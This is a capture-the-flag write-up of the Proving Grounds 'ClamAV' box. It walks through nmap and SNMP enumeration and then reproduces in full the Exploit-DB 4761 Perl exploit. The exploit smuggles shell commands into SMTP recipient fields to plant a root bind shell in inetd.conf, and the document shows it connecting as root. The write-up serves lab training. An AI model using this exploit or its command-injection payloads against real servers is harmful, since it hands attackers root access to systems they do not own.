# ClamAV Writeup - Proving Grounds

> Easy Linux box exploiting a Sendmail clamav-milter remote command execution vulnerability. SNMP leaks the black-hole-mode milter process, and a public Perl exploit injects an inetd bind shell for a root shell with no privilege escalation needed.

- **URL:** https://hackindex.io/writeups/clamav
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** rce, clamav-milter, snmp, smtp
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

In this walkthrough, we'll exploit a remote command execution vulnerability in Sendmail running clamav-milter, a ClamAV filter. SNMP leaks the running process table, which shows clamav-milter started in black-hole-mode, and the public Sendmail with clamav-milter remote root exploit injects an inetd bind shell over SMTP to land a root shell. No privilege escalation is required.

## Reconnaissance

### Nmap

Let's begin with an `nmap` scan against all TCP ports.

```bash
sudo nmap -p- $TARGET_IP
# Starting Nmap 7.80 ( https://nmap.org )
# Nmap scan report for $TARGET_IP
# Host is up (0.032s latency).
# Not shown: 65528 closed ports
# PORT      STATE SERVICE
# 22/tcp    open  ssh
# 25/tcp    open  smtp
# 80/tcp    open  http
# 139/tcp   open  netbios-ssn
# 199/tcp   open  smux
# 445/tcp   open  microsoft-ds
# 60000/tcp open  unknown
```

Next, let's run an aggressive scan against the discovered open ports.

```bash
sudo nmap -A -sV -p 22,25,80,139,199,445,60000 $TARGET_IP
# Starting Nmap 7.80 ( https://nmap.org )
# Nmap scan report for $TARGET_IP
# Host is up (0.031s latency).
#
# PORT      STATE SERVICE  VERSION
# 22/tcp    open  ssh      OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
# 25/tcp    open  smtp?
# |_smtp-commands: Couldn't establish connection on port 25
# 80/tcp    open  http     Apache httpd 1.3.33 ((Debian GNU/Linux))
# |_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
# |_http-title: Ph33r
# 139/tcp   open  tcpwrapped
# 199/tcp   open  smux     Linux SNMP multiplexer
# 445/tcp   open  tcpwrapped
# 60000/tcp open  ssh      OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
# Running (JUST GUESSING): Linux 2.6.X (94%)
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The stack is old across the board: OpenSSH 3.8.1p1 and Apache 1.3.33 both date to the Debian sarge era. Port 199 is `smux`, the SNMP multiplexing port, which hints that SNMP is reachable. We'll start with the SMTP service on port 25.

## Enumeration

### SMTP enumeration

Next, we'll use `netcat` to attempt to interact with the SMTP service on port 25.

```bash
nc -vv $TARGET_IP 25
# (UNKNOWN) [$TARGET_IP] 25 (smtp) open
# HELO test
# 220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Mon, 23 Mar 2020 14:20:48 -0400; (No UCE/UBE) logging access from: [$ATTACKER_IP](TEMP)-[$ATTACKER_IP]
# 250 localhost.localdomain Hello [$ATTACKER_IP], pleased to meet you
# quit
# 221 2.0.0 localhost.localdomain closing connection
```

This enumeration revealed that the service is running `ESMTP Sendmail`. Sendmail is often paired with a milter filter, so we'll check SNMP next for the running process list.

### SNMP enumeration

Although we did not scan for the SNMP service on UDP port 161 (UDP scans are unreliable anyhow), let's use `snmp-check` to scan for a running SNMP service on the target. It defaults to the community string `public`.

```bash
snmp-check $TARGET_IP
# snmp-check v1.9 - SNMP enumerator
# Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
#
# [+] Try to connect to $TARGET_IP:161 using SNMPv1 and community 'public'
#
# [*] System information:
#   Host IP address               : $TARGET_IP
#   Hostname                      : 0xbabe.local
#   Description                   : Linux 0xbabe.local 2.6.8-4-386 #1 Wed Feb 20 06:15:54 UTC 2008 i686
#   Uptime system                 : 00:32:46.43
#   System date                   : 2020-4-28 16:22:09.0
# ...
#   3765                 runnable       clamd              /usr/local/sbin/clamd
#   3767                 runnable       clamav-milter      /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
#   3776                 runnable       inetd              /usr/sbin/inetd
# ...
```

An SNMP service is running on the target, and the tool returned lots of output. Sifting through it, we discover that `clamav-milter` is running with Sendmail in black-hole-mode. That is the exact precondition for the Sendmail with clamav-milter remote root vulnerability.

## Exploitation

### Remote code execution

A public exploit search reveals a Remote Command Execution vulnerability (Exploit-DB 4761). It abuses the milter black-hole-mode to inject a command into the recipient field of an SMTP message, appending a root bind shell to `/etc/inetd.conf` and restarting inetd. Following the exploit, let's create the following Perl file:

```
#!/usr/bin/perl
# Sendmail w/ clamav-milter Remote Root Exploit
# Copyright (C) 2007 Eliteboy
use IO::Socket::INET;

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
print "Attacking $ARGV[0]...\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"\@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"\@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
while (<$sock>) {
        print;
}
```

This exploit should hopefully open a bind shell on the target on TCP port 31337. Let's give the exploit executable permissions and run it:

```bash
chmod 777 4761.pl
./4761.pl $TARGET_IP
# Sendmail w/ clamav-milter Remote Root Exploit
# Copyright (C) 2007 Eliteboy
# Attacking $TARGET_IP...
# 220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; ...
# 250 2.1.0 <>... Sender ok
# 250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
# 250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok
# 354 Enter mail, end with "." on a line by itself
# 250 2.0.0 073KU8jk004063 Message accepted for delivery
# 221 2.0.0 localhost.localdomain closing connection
```

Both recipient injections are accepted and inetd restarts, so it now listens on TCP 31337 and spawns `/bin/sh` as root for any connection. If everything worked correctly, we should now be able to connect to the target on port 31337:

```bash
nc -nv $TARGET_IP 31337
# (UNKNOWN) [$TARGET_IP] 31337 (?) open
# whoami
# root
```

The bind shell answers as `root`.

## Privilege Escalation

Since we've gained access as root, we don't need to escalate our privileges.

Related

## References

- [Exploit-DB 4761](https://www.exploit-db.com/exploits/4761) - Sendmail with clamav-milter remote root exploit. Injects an inetd bind shell over SMTP against a milter running in black-hole-mode.